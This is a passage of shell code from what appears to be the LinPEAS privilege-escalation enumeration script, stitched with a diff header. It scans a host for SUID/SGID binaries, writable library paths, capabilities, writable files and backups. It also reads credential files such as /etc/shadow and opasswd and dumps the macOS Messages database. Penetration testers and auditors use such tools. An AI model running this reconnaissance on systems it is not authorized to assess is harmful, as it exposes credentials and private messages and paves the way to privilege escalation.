printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then # Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
fi
fi
done
fi
if [ "$LDD" ] || [ "$READELF" ]; then
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
fi
if [ "$LDD" ]; then
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$READELF" ]; then
"$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
printf $ITALIC
echo "----------------------------------------------------------------------------------------"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=""
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf $NC
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
echo "----------------------------------------------------------------------------------------"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IPF) SGID
print_2title "SGID"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $sgids_files; do
s=$(ls -lahtr "$s")
# If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total";then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ]; then
if [ "$STRINGS" ]; then
$STRINGS "$sname" | sort | uniq | while read sline; do
sline_first="$(echo $sline | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
fi
else # If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then # Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
fi
fi
fi
done
fi
if [ "$LDD" ] || [ "$READELF" ]; then
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
fi
if [ "$LDD" ]; then
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$READELF" ]; then
"$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
fi
if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
printf "$ITALIC"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf "$NC"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IPF) Misconfigured ld.so
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
print_2title "Checking misconfigurations of ld.so"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
else
printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
fi
echo "Content of /etc/ld.so.conf:"
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
# Check each configured folder
cat /etc/ld.so.conf 2>/dev/null | while read l; do
if echo "$l" | grep -q include; then
ini_path=$(echo "$l" | cut -d " " -f 2)
fpath=$(dirname "$ini_path")
if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
else
printf $GREEN$ITALIC"$fpath\n"$NC;
fi
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
for f in $fpath/*; do
if [ -w "$f" ]; then
echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED_YELLOW$ITALIC"$f\n"$NC;
else
printf $GREEN$ITALIC" $f\n"$NC;
fi
cat "$f" | grep -v "^#" | while read l2; do
if [ -f "$l2" ] && [ -w "$l2" ]; then
echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
else
echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
fi
done
done
fi
done
echo ""
if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
else
printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
fi
cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat /etc/ld.so.preload 2>/dev/null | while read l; do
if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
done
fi
##-- IPF) Capabilities
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ "$(command -v capsh)" ]; then
print_3title "Current shell capabilities"
cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
cap_name=$(echo "$cap_line" | awk '{print $1}')
cap_value=$(echo "$cap_line" | awk '{print $2}')
if [ "$cap_name" = "CapEff:" ]; then
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
else
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
fi
done
echo ""
print_3title "Parent process capabilities"
cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
cap_name=$(echo "$cap_line" | awk '{print $1}')
cap_value=$(echo "$cap_line" | awk '{print $2}')
if [ "$cap_name" = "CapEff:" ]; then
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
else
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
fi
done
echo ""
else
print_3title "Current shell capabilities"
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
echo ""
print_3title "Parent proc capabilities"
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
echo ""
fi
echo ""
echo "Files with capabilities (limited to 50):"
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
capsVB_vuln=""
for capVB in $capsVB; do
capname="$(echo $capVB | cut -d ':' -f 1)"
capbins="$(echo $capVB | cut -d ':' -f 2)"
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
capsVB_vuln="1"
break
fi
done
if ! [ "$capsVB_vuln" ]; then
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
fi
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
fi
done
echo ""
fi
##-- IPF) Users with capabilities
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
print_2title "Users with capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ -f "/etc/security/capability.conf" ]; then
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else echo_not_found "/etc/security/capability.conf"
fi
echo ""
fi
##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
print_2title "AppArmor binary profiles"
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
echo ""
fi
fi
##-- IPF) Files with ACLs
print_2title "Files with ACLs (limited to 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
if ! [ "$SEARCH_IN_FOLDER" ]; then
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
echo ""
##-- IPF) Files with ResourceFork
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
# print_2title "Files with ResourceFork"
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
#fi
#echo ""
##-- IPF) Files (scripts) in /etc/profile.d/
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Files (scripts) in /etc/profile.d/"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
check_critial_root_path "/etc/profile"
check_critial_root_path "/etc/profile.d/"
fi
echo ""
fi
##-- IPF) Files (scripts) in /etc/init.d/
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Permissions in init, init.d, systemd, and rc.d"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
check_critial_root_path "/etc/init/"
check_critial_root_path "/etc/init.d/"
check_critial_root_path "/etc/rc.d/init.d"
check_critial_root_path "/usr/local/etc/rc.d"
check_critial_root_path "/etc/rc.d"
check_critial_root_path "/etc/systemd/"
check_critial_root_path "/lib/systemd/"
fi
echo ""
fi
##-- IPF) Hashes in passwd file
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_list "Hashes inside passwd file? ........... "
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IPF) Writable in passwd file
print_list "Writable passwd file? ................ "
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IPF) Credentials in fstab
print_list "Credentials in fstab/mtab? ........... "
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IPF) Read shadow files
print_list "Can I read shadow files? ............. "
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "Can I read shadow plists? ............ "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
print_list "Can I write shadow plists? ........... "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
##-- IPF) Read opasswd file
print_list "Can I read opasswd file? ............. "
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
else echo_no
fi
##-- IPF) network-scripts
print_list "Can I write in network-scripts? ...... "
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IPF) Read root dir
print_list "Can I read root folder? .............. "
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
echo ""
fi
##-- IPF) Root files in home dirs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching root files in home dirs (limit 30)"
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
echo ""
fi
##-- IPF) Others files in my dirs
if ! [ "$IAMROOT" ]; then
print_2title "Searching folders owned by me containing others files on it (limit 100)"
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
echo ""
fi
##-- IPF) Readable files belonging to root and not world readable
if ! [ "$IAMROOT" ]; then
print_2title "Readable files belonging to root and readable by me but not world readable"
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
echo ""
fi
##-- IPF) Interesting writable files by ownership or all
if ! [ "$IAMROOT" ]; then
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
# In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
printf "%s\n" "$obmowbe" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -qE "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
echo ""
fi
##-- IPF) Interesting writable files by group
if ! [ "$IAMROOT" ]; then
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
for g in $(groups); do
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
printf " Group $GREEN$g:\n$NC";
printf "%s\n" "$iwfbg" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -Eq "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
fi
done
echo ""
fi

View File

@@ -0,0 +1,315 @@
###########################################
#----------) Interesting files (----------#
###########################################
##-- IF) .sh files in PATH
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title ".sh files in path"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
echo $PATH | tr ":" "\n" | while read d; do
for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then # If write permision, win found (no check exploits)
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
fi
done
done
echo ""
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
if [ "$broken_links" ] || [ "$DEBUG" ]; then
print_2title "Broken links in path"
echo $PATH | tr ":" "\n" | while read d; do
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
done
echo ""
fi
fi
##-- IF) Date times inside firmware
if [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Files datetimes inside the firmware (limit 50)"
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
echo ""
fi
##-- IF) Executable files added by user
print_2title "Executable files potentially added by user (limit 70)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
else
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Unsigned Applications"
macosNotSigned /System/Applications
fi
##-- IF) Unexpected in /opt
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$(ls /opt 2>/dev/null)" ]; then
print_2title "Unexpected in /opt (usually empty)"
ls -la /opt
echo ""
fi
fi
##-- IF) Unexpected folders in /
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unexpected in root"
if [ "$MACPEAS" ]; then
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
else
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
fi
echo ""
fi
##-- IF) Modified interesting files into specific folders in the last 5mins
print_2title "Modified interesting files in the last 5mins (limit 100)"
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
echo ""
##-- IF) Writable log files
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then # 3.18.0 and below
print_2title "Writable log files (logrotten) (limit 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
logrotate --version 2>/dev/null || echo_not_found "logrotate"
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
printf "%s\n" "$logfind" | while read log; do
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then # Only print info if something interesting found
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
fi
fi
done
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
##-- IF) Files inside my home
print_2title "Files inside $HOME (limit 20)"
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
echo ""
##-- IF) Files inside /home
print_2title "Files inside others home (limit 20)"
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
echo ""
##-- IF) Mail applications
print_2title "Searching installed mail applications"
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
echo ""
##-- IF) Mails
print_2title "Mails (limit 50)"
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
echo ""
##-- IF) Backup folders
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
print_2title "Backup folders"
printf "%s\n" "$backup_folders" | while read b ; do
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
ls -l "$b" 2>/dev/null && echo ""
done
echo ""
fi
fi
##-- IF) Backup files
print_2title "Backup files (limited 100)"
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
printf "%s\n" "$backs" | head -n 100 | while read b ; do
if [ -r "$b" ]; then
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
fi;
done
echo ""
##-- IF) DB files
if [ "$MACPEAS" ]; then
print_2title "Reading messages database"
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
fi
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
FILECMD="$(command -v file 2>/dev/null)"
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if [ "$FILECMD" ]; then
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
else
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
fi
done
SQLITEPYTHON=""
echo ""
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then # If readable and filecmd and sqlite, or readable and not filecmd
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
tables=$(sqlite3 $f ".tables" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
